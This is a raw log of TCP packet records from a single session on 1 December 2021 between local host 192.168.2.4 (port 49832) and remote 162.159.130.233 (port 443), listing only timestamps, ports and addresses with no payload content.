Dec 1, 2021 09:15:23.054641962 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054651976 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054687977 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054709911 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054752111 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054760933 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054769993 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054814100 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054836988 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054877996 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054888964 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054898977 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054944038 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054960012 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054965973 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054972887 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055006027 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055033922 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055068016 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055094004 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055098057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055119991 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055150032 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055156946 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055191994 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055213928 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055253983 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055263042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055288076 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055315971 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055337906 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055377960 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055387974 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055397987 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055434942 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055458069 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055504084 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055514097 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055524111 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055558920 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055583000 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055622101 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055633068 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055643082 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055666924 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055689096 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055778980 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055788994 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055813074 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055821896 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055875063 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055886030 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055932999 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.055941105 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055953979 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.055985928 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056003094 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056029081 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056036949 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056063890 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056086063 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056090117 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056103945 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056118965 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056143045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056169033 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056200981 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056224108 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056273937 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056286097 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056303024 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056315899 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056338072 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056339025 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056346893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056374073 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056416988 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056432009 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056456089 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056503057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056510925 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056520939 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056552887 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056557894 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056565046 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056596041 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056612015 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056643009 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056651115 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056668043 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056678057 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056699991 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056703091 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056715012 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056730032 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056772947 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056813002 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056818962 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056837082 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056890965 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056900978 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056911945 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056946039 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.056957006 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.056979895 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057024002 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057032108 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057058096 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057079077 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057082891 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057096958 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057123899 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057145119 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057184935 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057190895 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057205915 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057229996 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057250977 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057259083 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057274103 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057307005 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057332039 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057356119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057374954 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057393074 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057399035 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057419062 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057440042 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057446003 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057457924 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057490110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057508945 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057549000 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057557106 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057569981 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057593107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057602882 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057610035 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057636976 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057670116 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057676077 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057701111 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057704926 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057715893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057743073 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057765961 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057796001 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057868004 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057878017 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057904959 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057928085 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.057970047 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.057977915 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.058007002 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.058022022 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.058047056 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.058084965 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.058094025 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.058109045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.058923006 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.059338093 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.068665028 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068696976 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068783045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.068800926 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068814039 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.068820000 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068845034 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068897009 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.068903923 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068933964 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.068958044 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.068978071 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.069027901 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.069036007 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.069046974 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.069060087 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.069068909 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.069096088 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.069103003 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.069135904 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.074987888 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075022936 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075112104 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075122118 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075139999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075166941 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075170040 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075212955 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075222969 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075261116 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075293064 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075336933 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075361013 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075412035 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075421095 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075457096 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075464010 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075488091 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075488091 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075500011 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075526953 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075562000 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075570107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075593948 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075599909 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075608969 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.075640917 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075680971 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.075999975 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076036930 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076064110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076116085 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076122999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076133966 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076139927 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076163054 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076179028 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076188087 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076211929 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076256037 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076261997 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076270103 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076309919 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076358080 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076379061 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076419115 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076426029 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076452017 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076462030 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076484919 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076524019 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.076531887 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.076553106 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077066898 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077090979 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077143908 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077163935 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077173948 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077316999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077339888 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077389956 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077404976 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077414036 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077436924 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077457905 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077495098 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077502966 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077517033 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077578068 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077600956 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077639103 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077646971 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077656031 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077697992 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077721119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077758074 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077766895 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077775955 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077840090 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077862024 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077903986 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077912092 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077924967 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.077958107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.077980042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078022003 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078031063 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078042030 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078071117 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078095913 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078129053 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078136921 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078145981 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078202963 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078224897 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078274012 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078283072 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078294992 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078305006 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078326941 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078365088 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078372955 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.078382015 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.078480005 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086247921 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086280107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086366892 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086390972 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086405039 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086425066 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086452007 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086493969 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086503029 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086536884 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086575031 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086601973 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086646080 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086657047 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086668015 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086716890 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086743116 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086786985 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086796045 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086817980 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086867094 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086894035 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086935043 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.086945057 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.086961985 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087011099 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087040901 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087080002 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087090015 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087104082 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087167025 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087193012 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087233067 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087241888 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087255955 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087311029 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087337017 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087376118 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087383986 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087408066 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087470055 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087496996 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087542057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087553978 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087563992 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087596893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087622881 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087665081 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087673903 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087683916 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087692022 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087744951 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.087754965 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087793112 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.087837934 CET	49832	443	192.168.2.4	162.159.130.233
